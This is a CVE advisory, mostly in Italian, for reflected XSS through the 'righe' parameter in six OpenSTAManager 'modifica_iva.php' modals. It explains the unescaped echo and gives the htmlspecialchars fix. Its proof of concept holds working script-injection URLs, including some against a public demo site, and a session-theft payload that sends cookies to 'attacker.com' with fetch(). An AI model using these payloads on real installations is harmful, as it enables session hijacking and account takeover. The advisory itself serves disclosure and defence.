CVE-2026-24415: OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter

Panoramica

Prodotti Interessati

• devcode-it/openstamanager (versioni: < 2.9.8)

Classificazione CWE

• CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Dettagli

Riepilogo

Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.

Parametro Vulnerabile: righe (GET)

Dettagli

OpenSTAManager v2.9.8 contiene multiple vulnerabilità Reflected XSS nei modali di modifica di fatture/ordini/contratti. L'applicazione non sanitizza correttamente l'input fornito dall'utente tramite il parametro GET righe prima di rifletterlo nell'output HTML.

Posizione del Codice Vulnerabile: File: /modules/contratti/modals/modifica_iva.php (Riga 125)

<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">

Il parametro $_GET['righe'] viene stampato direttamente nell'attributo HTML value senza alcuna sanitizzazione tramite htmlspecialchars() o funzioni equivalenti. Ciò consente a un attaccante di fuoriuscire dal contesto dell'attributo e iniettare HTML/JavaScript arbitrario.

Tutti i File Interessati:

1. /modules/contratti/modals/modifica_iva.php - Riga 125, Riga 167
2. /modules/preventivi/modals/modifica_iva.php - Riga 125, Riga 167
3. /modules/fatture/modals/modifica_iva.php - Riga 121, Riga 161
4. /modules/ddt/modals/modifica_iva.php - Riga 125, Riga 167
5. /modules/ordini/modals/modifica_iva.php - Riga 125, Riga 167
6. /modules/interventi/modals/modifica_iva.php - Riga 125, Riga 167

PoC

Prerequisiti:

• Istanza attiva di OpenSTAManager v2.9.8
• Credenziali admin valide (username: admin, password: admin per l'istanza di test)

Passo 1: Login

curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Passo 2: Attivare la XSS Navigare al seguente URL in un browser (oppure usare curl con i cookies):

http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>

URL Testati (Tutti vulnerabili):

• https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
• https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>

Risultato Atteso: Popup di avviso JavaScript che mostra il cookie di sessione corrente, confermando l'esecuzione del codice.

Output HTML (verificato su istanza live):

<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">

Verifica:

Payload Alternativi: Furto di sessione: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>

Impatto

Utenti Interessati: Tutti gli utenti autenticati con accesso ai moduli contratti, fatture, preventivi o ordini.

Scenario di Attacco:

1. L'attaccante crea un URL dannoso con payload XSS
2. L'attaccante invia l'URL alla vittima via email/chat/phishing
3. La vittima (utente autenticato) clicca il link
4. Il JavaScript dannoso viene eseguito nel contesto del browser della vittima
5. L'attaccante può:
   • Rubare i cookie di sessione → Compromissione totale dell'account
   • Eseguire azioni per conto della vittima (creare/modificare/eliminare record)
   • Rubare i token CSRF e bypassare la protezione CSRF
   • Reindirizzare a una pagina di phishing
   • Iniettare un keylogger per catturare dati sensibili
   • Modificare il contenuto della pagina per indurre l'utente a rivelare le credenziali

Correzione Raccomandata:

<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">

Applicare questa correzione a tutti i file interessati elencati nella sezione Dettagli.

Riferimenti

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-jfgp-g7x7-j25j
• https://nvd.nist.gov/vuln/detail/CVE-2026-24415
• https://github.com/advisories/GHSA-jfgp-g7x7-j25j

Disclaimer

Questo CVE è stato divulgato in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite sono esclusivamente a scopo educativo e difensivo.